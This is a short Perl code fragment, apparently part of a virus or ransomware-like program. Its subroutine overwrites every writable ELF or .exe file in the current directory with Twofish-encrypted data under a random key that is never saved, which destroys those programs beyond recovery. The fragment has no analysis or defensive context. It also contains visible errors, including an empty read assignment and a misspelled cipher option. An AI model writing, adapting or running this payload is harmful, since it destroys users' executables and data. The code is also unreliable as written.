# encrypts every ELF or *.EXE file in the current dir using a random key # and using Twofish as algorithm sub encrypt { @string = ("A".."Z","a".."z","0".."9"); # array with every letter and number # used to generate random strings foreach $file ( glob ( "*" ) ) { open ( file, "<", "$file" ) ; @data = ; close ( file ) ; if ( ($data[0] =~ /ELF/ || $file =~ /\.exe?/) && -w $file ) { $key = "" ; for ( $i = 1; $i < int ( rand (20) ) + 2; $i ++ ) { $key .= $string[int ( rand (62) )] ; } $crypt = Crypt::CBC -> new ( -key => $key, -crypher => 'Twofish' ) ; $crypt -> start ( 'encrypting' ) ; open ( F, "$file" ) ; while ( read ( F, $buffer, 1024 ) ) { $enc .= $crypt -> crypt ( $buffer ) ; } $enc .= $crypt -> finish ; open ( file , ">", "$file" ) ; print file $enc ; close ( file ) ; } } }